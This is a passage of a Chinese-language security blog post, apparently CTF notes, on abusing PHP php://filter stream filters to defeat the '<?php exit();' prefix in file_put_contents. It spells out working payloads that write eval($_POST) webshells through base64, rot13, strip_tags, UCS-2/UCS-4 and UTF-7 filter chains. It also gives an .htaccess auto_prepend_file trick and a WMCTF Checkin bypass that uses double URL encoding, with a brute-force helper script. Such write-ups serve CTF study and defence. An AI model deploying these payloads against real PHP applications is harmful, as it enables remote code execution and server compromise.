<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">UCS-4*</span><br><span class="line">UCS-4BE</span><br><span class="line">UCS-4LE*</span><br><span class="line">UCS-2</span><br><span class="line">UCS-2BE</span><br><span class="line">UCS-2LE</span><br><span class="line">UTF-32*</span><br><span class="line">UTF-32BE*</span><br><span class="line">UTF-32LE*</span><br><span class="line">UTF-16*</span><br><span class="line">UTF-16BE*</span><br><span class="line">UTF-16LE*</span><br><span class="line">UTF-7</span><br><span class="line">UTF7-IMAP</span><br><span class="line">UTF-8*</span><br><span class="line">ASCII*</span><br></pre></td></tr></table></figure>

<h2 id="四、压缩过滤器"><a href="#四、压缩过滤器" class="headerlink" title="四、压缩过滤器"></a>四、压缩过滤器</h2><p>虽然 <a target="_blank" rel="noopener" href="https://www.php.net/manual/zh/wrappers.compression.php">压缩封装协议</a> 提供了在本地文件系统中 创建 gzip 和 bz2 兼容文件的方法，但不代表可以在网络的流中提供通用压缩的意思，也不代表可以将一个非压缩的流转换成一个压缩流。对此，压缩过滤器可以在任何时候应用于任何流资源。</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">Note: 压缩过滤器 不产生命令行工具如 gzip的头和尾信息。只是压缩和解压数据流中的有效载荷部分。 </span><br><span class="line"></span><br><span class="line">zlib.* 压缩过滤器自 PHP 版本 5.1.0起可用，在激活 zlib的前提下。也可以通过安装来自 » PECL的 » zlib_filter包作为一个后门在 5.0.x版中使用。此过滤器在 PHP 4 中 不可用。</span><br></pre></td></tr></table></figure>

<p>详细： <a target="_blank" rel="noopener" href="https://www.php.net/manual/zh/wrappers.compression.php">https://www.php.net/manual/zh/wrappers.compression.php</a></p>
<p><img src="https://s1.ax1x.com/2020/09/29/0ZhQZ4.png" class="lazyload placeholder" data-srcset="https://s1.ax1x.com/2020/09/29/0ZhQZ4.png" srcset="https://img10.360buyimg.com/ddimg/jfs/t1/157667/29/9156/134350/603c6445Ebbc9cabe/41219c5d36d45072.gif" alt="0ZhQZ4.png"></p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?file=compress.zlib:<span class="comment">//flag.php</span></span><br></pre></td></tr></table></figure>



<h2 id="五、加密过滤器"><a href="#五、加密过滤器" class="headerlink" title="五、加密过滤器"></a>五、加密过滤器</h2><p><a target="_blank" rel="noopener" href="https://www.php.net/manual/zh/filters.encryption.php">https://www.php.net/manual/zh/filters.encryption.php</a></p>
<p>mcrypt.*和 mdecrypt.*使用 libmcrypt 提供了对称的加密和解密。这两组过滤器都支持 mcrypt 扩展库中相同的算法，格式为 mcrypt.ciphername，其中 ciphername是密码的名字，将被传递给 mcrypt_module_open()。有以下五个过滤器参数可用：</p>
<p><img src="https://s1.ax1x.com/2020/09/29/0Zhfeg.png" class="lazyload placeholder" data-srcset="https://s1.ax1x.com/2020/09/29/0Zhfeg.png" srcset="https://img10.360buyimg.com/ddimg/jfs/t1/157667/29/9156/134350/603c6445Ebbc9cabe/41219c5d36d45072.gif" alt="0Zhfeg.png"></p>
<h2 id="六、文件包含"><a href="#六、文件包含" class="headerlink" title="六、文件包含"></a>六、文件包含</h2><p>文件包含漏洞顾名思义即：包含恶意代码或恶意内容达到一定的攻击效果。</p>
<p>在文件包含漏洞当中，因为 <code>php://filter</code> 可以对所有文件进行编码处理，所以常常可以使用 <code>php://filter</code> 来包含读取一些特殊敏感的文件.</p>
<h2 id="七、死亡绕过"><a href="#七、死亡绕过" class="headerlink" title="七、死亡绕过"></a>七、死亡绕过</h2><h2 id="7-1-bypass不同变量"><a href="#7-1-bypass不同变量" class="headerlink" title="7.1 bypass不同变量"></a>7.1 bypass不同变量</h2><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="variable">$filename</span>=<span class="variable">$_GET</span>[<span class="string">&#x27;filename&#x27;</span>];</span><br><span class="line"><span class="variable">$content</span>=<span class="variable">$_GET</span>[<span class="string">&#x27;content&#x27;</span>];</span><br><span class="line">file_put_contents(<span class="variable">$filename</span>,<span class="string">&quot;&lt;?php exit();&quot;</span>.<span class="variable">$content</span>);</span><br></pre></td></tr></table></figure>

<p>$content在开头增加了exit过程，导致即使我们成功写入一句话，也执行不了（这个过程在实战中十分常见，通常出现在缓存、配置文件等等地方，不允许用户直接访问的文件，都会被加上if(!defined(xxx))exit;之类的限制）。那么这种情况下，如何绕过这个“死亡exit”？</p>
<p>思路其实也很简单我们只要将content前面的那部分内容使用某种手段（编码等）进行处理，导致php不能识别该部分就可以了。</p>
<p>这里的$_GET[‘filename’]是可以控制协议的.</p>
<h4 id="base64绕过"><a href="#base64绕过" class="headerlink" title="base64绕过"></a>base64绕过</h4><p>base64原理请看<a target="_blank" rel="noopener" href="https://www.cnblogs.com/chengmo/archive/2014/05/18/3735917.html">这里</a></p>
<p><strong>Base64编码是使用64个可打印ASCII字符（A-Z、a-z、0-9、+、/）将任意字节序列数据编码成ASCII字符串，另有“=”符号用作后缀用途。</strong></p>
<p>base64编码中只包含64个可打印字符，而PHP在解码base64时，遇到不在其中的字符时，将会跳过这些字符，仅将合法字符组成一个新的字符串进行解码</p>
<p>当$content被加上了<?php exit; ?>以后，我们可以使用 php://filter/write=convert.base64-decode 来首先对其解码。在解码的过程中，字符&lt; ? ; &gt; 空格等一共有7个字符不符合base64编码的字符范围将被忽略，所以最终被解码的字符仅有”phpexit”和我们传入的其他字符。</p>
<p>由于，”phpexit”一共7个字符，但是base64算法解码时是4个byte一组，所以我们可以随便再给他添加一个字符。这样前边的phpexit加上另一个字符就会被base64解码，然后后边的我们精心构造的base64字符串也会被成功解码为php代码。</p>
<p>payload:</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?filename=php:<span class="comment">//filter/convert.base64-decode/resource=1.php&amp;content=aPD9waHAgZXZhbCgkX1BPU1RbYV0pOw==</span></span><br></pre></td></tr></table></figure>

<p>成功写入</p>
<p><img src="https://s1.ax1x.com/2020/10/01/0KD2se.png" class="lazyload placeholder" data-srcset="https://s1.ax1x.com/2020/10/01/0KD2se.png" srcset="https://img10.360buyimg.com/ddimg/jfs/t1/157667/29/9156/134350/603c6445Ebbc9cabe/41219c5d36d45072.gif" alt="0KD2se.png"></p>
<h4 id="rot13绕过"><a href="#rot13绕过" class="headerlink" title="rot13绕过"></a>rot13绕过</h4><ul>
<li>str_rot13()</li>
</ul>
<blockquote>
<p>str_rot13() 函数对字符串执行 ROT13 编码。<br>ROT13 编码是把每一个字母在字母表中向前移动 13 个字母得到。数字和非字母字符保持不变。<br>编码和解码都是由相同的函数完成的。如果您把一个已编码的字符串作为参数，那么将返回原始字符串。</p>
</blockquote>
<p>利用php://filter中string.rot13过滤器去除”exit”。string.rot13的特性是编码和解码都是自身完成，利用这一特性可以去除exit。 <code>&lt;?php exit;</code> 在经过rot13编码后会变成 <code>&lt;?cuc rkvg();</code> ，不过这种利用手法的前提是PHP不开启short_open_tag。</p>
<p><a target="_blank" rel="noopener" href="https://www.php.net/manual/zh/ini.core.php">https://www.php.net/manual/zh/ini.core.php</a></p>
<p><img src="https://s1.ax1x.com/2020/10/01/0KsCtI.png" class="lazyload placeholder" data-srcset="https://s1.ax1x.com/2020/10/01/0KsCtI.png" srcset="https://img10.360buyimg.com/ddimg/jfs/t1/157667/29/9156/134350/603c6445Ebbc9cabe/41219c5d36d45072.gif" alt="0KsCtI.png"></p>
<p>虽然官方说的默认开启，但是在php.ini中默认是注释掉的，也就是说它还是默认关闭。但是我本地 phpstudy 是开启的，导致执行payload后：</p>
<pre><code>Parse error: syntax error, unexpected &#39;rkvg&#39; (T_STRING) in E:\phpstudy_pro\WWW\1\2.php on line 1
</code></pre>
<p><code>&lt;?php eval($_POST[a]);</code> rot13编码后 <code>&lt;?cuc riny($_CBFG[n]);</code></p>
<p>payload:</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?filename=php:<span class="comment">//filter/write=string.rot13/resource=2.php&amp;content=<span class="meta">&lt;?</span>cuc riny($_CBFG[n]);</span></span><br></pre></td></tr></table></figure>

<p>成功写入文件 2.php</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?</span>cuc rkvg();<span class="meta">&lt;?php</span> <span class="keyword">eval</span>(<span class="variable">$_POST</span>[a]);</span><br></pre></td></tr></table></figure>

<p>在关闭 <code>short_open_tag = Off</code> 的情况下，可以</p>
<p>成功执行命令</p>
<h4 id="string-strip-tags-1"><a href="#string-strip-tags-1" class="headerlink" title="string.strip_tags"></a>string.strip_tags</h4><ul>
<li>strip_tags — 从字符串中去除 HTML 和 PHP 标记。该函数尝试返回给定的字符串 str 去除空字符、HTML 和 PHP 标记后的结果。它使用与函数 fgetss() 一样的机制去除标记。 </li>
</ul>
<p><img src="https://s1.ax1x.com/2020/10/01/0KsHbQ.png" class="lazyload placeholder" data-srcset="https://s1.ax1x.com/2020/10/01/0KsHbQ.png" srcset="https://img10.360buyimg.com/ddimg/jfs/t1/157667/29/9156/134350/603c6445Ebbc9cabe/41219c5d36d45072.gif" alt="0KsHbQ.png"></p>
<p>但是我们的目的是写入webshell，如果那样的话，我们的webshell岂不是同样起不了作用，不过我们可以使用多个过滤器进行绕过这个限制（php://filter允许通过 | 使用多个过滤器）。</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">1</span>、webshell用base64编码   <span class="comment">//为了避免strip_tags的影响</span></span><br><span class="line"></span><br><span class="line"><span class="number">2</span>、调用<span class="keyword">string</span>.strip_tags <span class="comment">//这一步将去除<span class="meta">&lt;?php</span> exit; <span class="meta">?&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="number">3</span>、调用convert.base64-decode <span class="comment">//这一步将还原base64编码的webshell</span></span><br></pre></td></tr></table></figure>

<p>payload:</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?filename=php:<span class="comment">//filter/write=string.strip_tags|convert.base64-decode/resource=3.php&amp;content=<span class="meta">?&gt;</span>PD9waHAgZXZhbCgkX1BPU1RbYV0pOw==</span></span><br></pre></td></tr></table></figure>

<p>成功写入：</p>
<pre><code>&lt;?php eval($_POST[a]);
</code></pre>
<h2 id="htaccess的预包含利用"><a href="#htaccess的预包含利用" class="headerlink" title=".htaccess的预包含利用"></a>.htaccess的预包含利用</h2><p>PHP中auto_prepend_file与auto_append_file用法实例分析:  <a target="_blank" rel="noopener" href="https://www.jb51.net/article/55468.htm">https://www.jb51.net/article/55468.htm</a></p>
<p>payload</p>
<pre><code>?filename=php://filter/write=string.strip_tags/resource=.htaccess&amp;content=?&gt;php_value auto_prepend_file%20&quot;/flag&quot;
</code></pre>
<h2 id="7-2-bypass相同变量"><a href="#7-2-bypass相同变量" class="headerlink" title="7.2 bypass相同变量"></a>7.2 bypass相同变量</h2><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="variable">$content</span> = <span class="variable">$_GET</span>[content];</span><br><span class="line">file_put_contents(<span class="variable">$content</span>,<span class="string">&#x27;&lt;?php exit();&#x27;</span>.<span class="variable">$content</span>);</span><br></pre></td></tr></table></figure>

<p>这种情况下写入的文件，其文件名和文件部分内容一致，这就导致利用的难度大大增加了，不过最终目的还是相同的：都是为了去除文件头部内容exit这个关键代码写入shell后门。</p>
<h4 id="base64"><a href="#base64" class="headerlink" title="base64"></a>base64</h4><p>构造：</p>
<pre><code>content=php://filter/convert.base64-decode/PD9waHAgcGhwaW5mbygpOz8+/resource=shell.php

或

content=php://filter/convert.base64-decode/resource=PD9waHAgcGhwaW5mbygpOz8+.php
</code></pre>
<p>进行拼接之后就是 <code>&lt;?php exit();php://filter/convert.base64-decode/resource=PD9waHAgcGhwaW5mbygpOz8+.php</code> 然后会对其进行一次整体的 <code>base64-decode</code> 。从而分解掉死亡代码，</p>
<p>但是无法生成content；虽然文件创建成功，但是就是无法生成content。问题在于resource 后边的  <code>=</code>；</p>
<p>‘=’在base64中的作用是填充，也就是以为着结束；在‘=’的后面是不允许有任何其他字符的否则会报错，</p>
<p><img src="https://s1.ax1x.com/2020/10/01/0KR52n.png" class="lazyload placeholder" data-srcset="https://s1.ax1x.com/2020/10/01/0KR52n.png" srcset="https://img10.360buyimg.com/ddimg/jfs/t1/157667/29/9156/134350/603c6445Ebbc9cabe/41219c5d36d45072.gif" alt="0KR52n.png"></p>
<p><img src="https://s1.ax1x.com/2020/10/01/0KR7rV.png" class="lazyload placeholder" data-srcset="https://s1.ax1x.com/2020/10/01/0KR7rV.png" srcset="https://img10.360buyimg.com/ddimg/jfs/t1/157667/29/9156/134350/603c6445Ebbc9cabe/41219c5d36d45072.gif" alt="0KR7rV.png"></p>
<p>这里因为是由于‘=’从而使得我们写入content不成功，那么我们可以想个方法去掉等号即可，</p>
<h4 id="去掉等号之过滤器嵌套base64"><a href="#去掉等号之过滤器嵌套base64" class="headerlink" title="去掉等号之过滤器嵌套base64"></a>去掉等号之过滤器嵌套base64</h4><p>payload:</p>
<pre><code>content=php://filter/string.strip_tags|convert.base64-decode/resource=?&gt;PD9waHAgcGhwaW5mbygpOz8%2B.php
</code></pre>
<p><img src="https://s1.ax1x.com/2020/10/01/0KI8vd.png" class="lazyload placeholder" data-srcset="https://s1.ax1x.com/2020/10/01/0KI8vd.png" srcset="https://img10.360buyimg.com/ddimg/jfs/t1/157667/29/9156/134350/603c6445Ebbc9cabe/41219c5d36d45072.gif" alt="0KI8vd.png"></p>
<p>发现可以生成文件，并且可以看到我们已经成功写入了shell；但是文件名确实有问题，当我们在浏览器访问的时候，会出现访问不到的问题，这里是因为引号的问题；那么如何避免，我们可以使用伪目录的方法，进行变相的绕过去；</p>
<p>payoad:</p>
<pre><code>content=php://filter/string.strip_tags|convert.base64-decode/resource=?&gt;PD9waHAgcGhwaW5mbygpOz8%2B/../shell.php
</code></pre>
<p>我们将前面的一串base64字符和闭合的符号整体看作一个目录，虽然没有，但是我们后面重新撤回了原目录，生成shell.php文件；从而就可以生成正常的文件名.</p>
<h4 id="去掉等号之直接对内容进行变性另类base64"><a href="#去掉等号之直接对内容进行变性另类base64" class="headerlink" title="去掉等号之直接对内容进行变性另类base64"></a>去掉等号之直接对内容进行变性另类base64</h4><p>其实这种也是借助于过滤器，但是原理并不是和之前的原理一样，之前的原理即是：闭合原本的死亡代码，然后在进行过滤器过滤掉内容中的html标签，从而对剩下的内容进行base64解码。但是这种方法却不是如此，payload如下：</p>
<pre><code>php://filter/&lt;?|string.strip_tags|convert.base64-decode/resource=?&gt;PD9waHAgcGhwaW5mbygpOz8%2B/../shell.php
</code></pre>
<p>这种payload的攻击原理即是首先直接在内容时，就将我们base64遇到的‘=’这个问题直接写在<? ?>中进行过滤掉，然后base64-decode再对原本内容的&lt;?php exit();进行转码，从而达到分解死亡代码的效果</p>
<h4 id="rot13-绕过"><a href="#rot13-绕过" class="headerlink" title="rot13 绕过"></a>rot13 绕过</h4><p>尽管base64比较特别，但是并不是所有的编码都受限于‘=’，这里可以采用rot13编码即可；</p>
<p>payload</p>
<pre><code>content=php://filter/write=string.rot13|&lt;?cuc cucvasb();?&gt;|/resource=shell.php

content=php://filter/write=string.rot13/resource=&lt;?cuc cucvasb();?&gt;/../shell.php
</code></pre>
<p>生成文件内容：</p>
<pre><code>&lt;?cuc rkvg();cuc://svygre/jevgr=fgevat.ebg13|&lt;?php phpinfo();?&gt;|/erfbhepr=f1zcyr.cuc
</code></pre>
<p>其原理就是利用转码从而将原本的死亡代码进行转码从而使引擎无法识别从而避免死亡代码；</p>
<h4 id="convert-iconv-1"><a href="#convert-iconv-1" class="headerlink" title="convert.iconv.*"></a>convert.iconv.*</h4><p>对于iconv字符编码转换进行绕过的手法，其实类似于上面所述的base64编码手段，都是先对原有字符串进行某种编码然后再解码，这个过程导致最初的限制exit;去除，而我们的恶意代码正常解码存储。</p>
<ul>
<li><strong>usc-2</strong></li>
</ul>
<p>通过UCS-2方式，对目标字符串进行2位一反转（这里的2LE和2BE可以看作是小端和大端的列子），也就是说构造的恶意代码需要是UCS-2中2的倍数，不然不能进行正常反转（多余不满足的字符串会被截断），那我们就可以利用这种过滤器进行编码转换绕过了</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">echo</span> iconv(<span class="string">&quot;UCS-2LE&quot;</span>,<span class="string">&quot;UCS-2BE&quot;</span>,<span class="string">&#x27;&lt;?php @eval($_POST[ab]);?&gt;&#x27;</span>);</span><br></pre></td></tr></table></figure>

<p>payload:</p>
<pre><code>php://filter/convert.iconv.UCS-2LE.UCS-2BE|?&lt;hp pe@av(l_$OPTSa[]b;)&gt;?/resource=shell.php
</code></pre>
<p>成功向 <code>shell.php</code> 写入</p>
<pre><code>?&lt;hp pxeti)(p;ph/:f/liet/rocvnre.tcino.vCU-SL2.ECU-SB2|E&lt;?php @eval($_POST[ab]);?&gt;r/seuocr=ehsle.lhp
</code></pre>
<h4 id="usc-4"><a href="#usc-4" class="headerlink" title="usc-4"></a><strong>usc-4</strong></h4><p>通过UCS-4方式，对目标字符串进行4位一反转（这里的4LE和4BE可以看作是小端和大端的列子），也就是说构造的恶意代码需要是UCS-4中4的倍数，不然不能进行正常反转（多余不满足的字符串会被截断），那我们就可以利用这种过滤器进行编码转换绕过了.</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="keyword">echo</span> iconv(<span class="string">&quot;UCS-4LE&quot;</span>,<span class="string">&quot;UCS-4BE&quot;</span>,<span class="string">&#x27;&lt;?php @eval($_POST[abcd]);?&gt;&#x27;</span>);</span><br></pre></td></tr></table></figure>

<p>28字符 <code>&lt;?php @eval($_POST[abcd]);?&gt;</code> 转为 <code>hp?&lt;e@ p(lavOP_$a[TS]dcb&gt;?;)</code></p>
<p>payload:</p>
<pre><code>content=php://filter/convert.iconv.UCS-4LE.UCS-4BE|hp?&lt;e@ p(lavOP_$a[TS]dcb&gt;?;)/resource=shell.php
</code></pre>
<p>成功写入：</p>
<pre><code>hp?&lt;xe p)(tiphp;f//:etlioc/rrevnci.t.vno-SCU.EL4-SCU|EB4&lt;?php @eval($_POST[abcd]);?&gt;ser/cruohs=e.lle
</code></pre>
<h4 id="utf8-utf7"><a href="#utf8-utf7" class="headerlink" title="utf8-utf7"></a>utf8-utf7</h4><p><img src="https://s1.ax1x.com/2020/10/01/0KxBGR.png" class="lazyload placeholder" data-srcset="https://s1.ax1x.com/2020/10/01/0KxBGR.png" srcset="https://img10.360buyimg.com/ddimg/jfs/t1/157667/29/9156/134350/603c6445Ebbc9cabe/41219c5d36d45072.gif" alt="0KxBGR.png"></p>
<p>这里发现生成的是+AD0-,然而经过检测，此字符串可以被base64进行解码；那也就意味着我们可以使用这种方法避免等号对我们base64解码的影响；我们可以直接写入base64加密后的payload，然后将其进行utf之间的转换，因为纯字符转换之后还是其本身；所以其不受影响，进而我们的base64-encode之后的编码依然是存在的，然后进行base64-decode一下，写入shell.</p>
<p>Payload:</p>
<pre><code>content=php://filter/write=aaaaXDw/cGhwIEBldmFsKCRfUE9TVFthXSk7ID8+|convert.iconv.utf-8.utf-7|convert.base64-decode/resource=shell.php
</code></pre>
<p>ps：</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 这里要符合base64 解码按4 字节进行</span></span><br><span class="line"></span><br><span class="line">utf8 -&gt; utf-<span class="number">7</span></span><br><span class="line"></span><br><span class="line"><span class="meta">&lt;?php</span> <span class="keyword">exit</span>();php:<span class="comment">//filter/write=aaaaXDw/cGhwIEBldmFsKCRfUE9TVFthXSk7ID8+|convert.iconv.utf-8.utf-7|convert.base64-decode/resource=shell.php</span></span><br><span class="line"></span><br><span class="line">变为：</span><br><span class="line"></span><br><span class="line">+ADw?php <span class="keyword">exit</span>()+ADs-php:<span class="comment">//filter/write+AD0-aaaaXDw/cGhwIEBldmFsKCRfUE9TVFthXSk7ID8+-+AHw-convert.iconv.utf-8.utf-7+AHw-convert.base64-decode/resource+AD0-shell.php</span></span><br><span class="line"></span><br><span class="line">base64恶意payload的之前正好<span class="number">36</span>个字节，所以写入了shell</span><br><span class="line"></span><br></pre></td></tr></table></figure>

<p><img src="https://s1.ax1x.com/2020/10/01/0KzrkQ.png" class="lazyload placeholder" data-srcset="https://s1.ax1x.com/2020/10/01/0KzrkQ.png" srcset="https://img10.360buyimg.com/ddimg/jfs/t1/157667/29/9156/134350/603c6445Ebbc9cabe/41219c5d36d45072.gif" alt="0KzrkQ.png"></p>
<h2 id="八、WMCTF-Checkin"><a href="#八、WMCTF-Checkin" class="headerlink" title="八、WMCTF Checkin"></a>八、WMCTF Checkin</h2><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="comment">//PHP 7.0.33 Apache/2.4.25</span></span><br><span class="line">error_reporting(<span class="number">0</span>);</span><br><span class="line"><span class="variable">$sandbox</span> = <span class="string">&#x27;/var/www/html/&#x27;</span> . md5(<span class="variable">$_SERVER</span>[<span class="string">&#x27;HTTP_X_REAL_IP&#x27;</span>]);</span><br><span class="line">@mkdir(<span class="variable">$sandbox</span>);</span><br><span class="line">@chdir(<span class="variable">$sandbox</span>);</span><br><span class="line">highlight_file(<span class="keyword">__FILE__</span>);</span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">isset</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;content&#x27;</span>])) &#123;</span><br><span class="line">    <span class="variable">$content</span> = <span class="variable">$_GET</span>[<span class="string">&#x27;content&#x27;</span>];</span><br><span class="line">    <span class="keyword">if</span>(preg_match(<span class="string">&#x27;/iconv|UCS|UTF|rot|quoted|base64/i&#x27;</span>,<span class="variable">$content</span>))</span><br><span class="line">         <span class="keyword">die</span>(<span class="string">&#x27;hacker&#x27;</span>);</span><br><span class="line">    <span class="keyword">if</span>(file_exists(<span class="variable">$content</span>))</span><br><span class="line">        <span class="keyword">require_once</span>(<span class="variable">$content</span>);</span><br><span class="line">    <span class="keyword">echo</span> <span class="variable">$content</span>;</span><br><span class="line">    file_put_contents(<span class="variable">$content</span>,<span class="string">&#x27;&lt;?php exit();&#x27;</span>.<span class="variable">$content</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>死亡exit的绕过</p>
<h4 id="二次编码绕过"><a href="#二次编码绕过" class="headerlink" title="二次编码绕过"></a>二次编码绕过</h4><p>查看伪协议处理的源码</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">static</span> <span class="keyword">void</span> php_stream_apply_filter_list(php_stream *stream, char *filterlist, <span class="keyword">int</span> read_chain, <span class="keyword">int</span> write_chain) </span><br><span class="line">&#123;</span><br><span class="line">	char *p, *token = <span class="literal">NULL</span>;</span><br><span class="line">	php_stream_filter *temp_filter;</span><br><span class="line"></span><br><span class="line">	p = php_strtok_r(filterlist, <span class="string">&quot;|&quot;</span>, &amp;token);</span><br><span class="line">	<span class="keyword">while</span> (p) &#123;</span><br><span class="line">		php_url_decode(p, strlen(p));<span class="comment">#👈对过滤器进行了一次urldecode</span></span><br><span class="line">		<span class="keyword">if</span> (read_chain) &#123;</span><br><span class="line">			<span class="keyword">if</span> ((temp_filter = php_stream_filter_create(p, <span class="literal">NULL</span>, php_stream_is_persistent(stream)))) &#123;</span><br><span class="line">				php_stream_filter_append(&amp;stream-&gt;readfilters, temp_filter);</span><br><span class="line">			&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">				php_error_docref(<span class="literal">NULL</span>, E_WARNING, <span class="string">&quot;Unable to create filter (%s)&quot;</span>, p);</span><br><span class="line">			&#125;</span><br><span class="line">		&#125;</span><br><span class="line">		<span class="keyword">if</span> (write_chain) &#123;</span><br><span class="line">			<span class="keyword">if</span> ((temp_filter = php_stream_filter_create(p, <span class="literal">NULL</span>, php_stream_is_persistent(stream)))) &#123;</span><br><span class="line">				php_stream_filter_append(&amp;stream-&gt;writefilters, temp_filter);</span><br><span class="line">			&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">				php_error_docref(<span class="literal">NULL</span>, E_WARNING, <span class="string">&quot;Unable to create filter (%s)&quot;</span>, p);</span><br><span class="line">			&#125;</span><br><span class="line">		&#125;</span><br><span class="line">		p = php_strtok_r(<span class="literal">NULL</span>, <span class="string">&quot;|&quot;</span>, &amp;token);</span><br><span class="line">	&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p><code>file_put_contents</code> 中可以调用伪协议，而伪协议处理时会对过滤器 <code>urldecode</code> 一次，所以是可以利用二次编码绕过的，不过我们在服务端ban了%25（用%25太简单了）所以测试%25被ban后就可以写个脚本跑一下字符，构造一些过滤的字符就可以利用正常的姿势绕过。知道可以用二次编码绕过了.</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="variable">$char</span> = <span class="string">&#x27;r&#x27;</span>; <span class="comment">#构造r的二次编码</span></span><br><span class="line"><span class="keyword">for</span> (<span class="variable">$ascii1</span> = <span class="number">0</span>; <span class="variable">$ascii1</span> &lt; <span class="number">256</span>; <span class="variable">$ascii1</span>++) &#123;</span><br><span class="line">	<span class="keyword">for</span> (<span class="variable">$ascii2</span> = <span class="number">0</span>; <span class="variable">$ascii2</span> &lt; <span class="number">256</span>; <span class="variable">$ascii2</span>++) &#123;</span><br><span class="line">		<span class="variable">$aaa</span> = <span class="string">&#x27;%&#x27;</span>.<span class="variable">$ascii1</span>.<span class="string">&#x27;%&#x27;</span>.<span class="variable">$ascii2</span>;</span><br><span class="line">		<span class="keyword">if</span>(urldecode(urldecode(<span class="variable">$aaa</span>)) == <span class="variable">$char</span>)&#123;</span><br><span class="line">			<span class="keyword">echo</span> <span class="variable">$char</span>.<span class="string">&#x27;: &#x27;</span>.<span class="variable">$aaa</span>;</span><br><span class="line">			<span class="keyword">echo</span> <span class="string">&quot;\n&quot;</span>;</span><br><span class="line">		&#125;</span><br><span class="line">	&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>

<p>payload:</p>
<pre><code>php://filter/write=string.%7%32ot13|&lt;?cuc cucvasb();?&gt;|/resource=Cyc1e.php
</code></pre>
<p>注：payload放过滤器的位置或者放文件名位置都可（因为有些编码有时候会有空格什么的乱码，文件名不一定好用），php://filter面对不可用的规则是报个Warning，然后跳过继续执行的）。</p>
<h4 id="过滤器构造绕过"><a href="#过滤器构造绕过" class="headerlink" title="过滤器构造绕过"></a>过滤器构造绕过</h4><p>题目中过滤的过滤器有</p>
<pre><code>/iconv|UCS|UTF|rot|quoted|base64/
</code></pre>
<p>php:filter支持使用多个过滤器,还留下了字符串过滤器中的部分和压缩过滤器以及加密过滤器.</p>
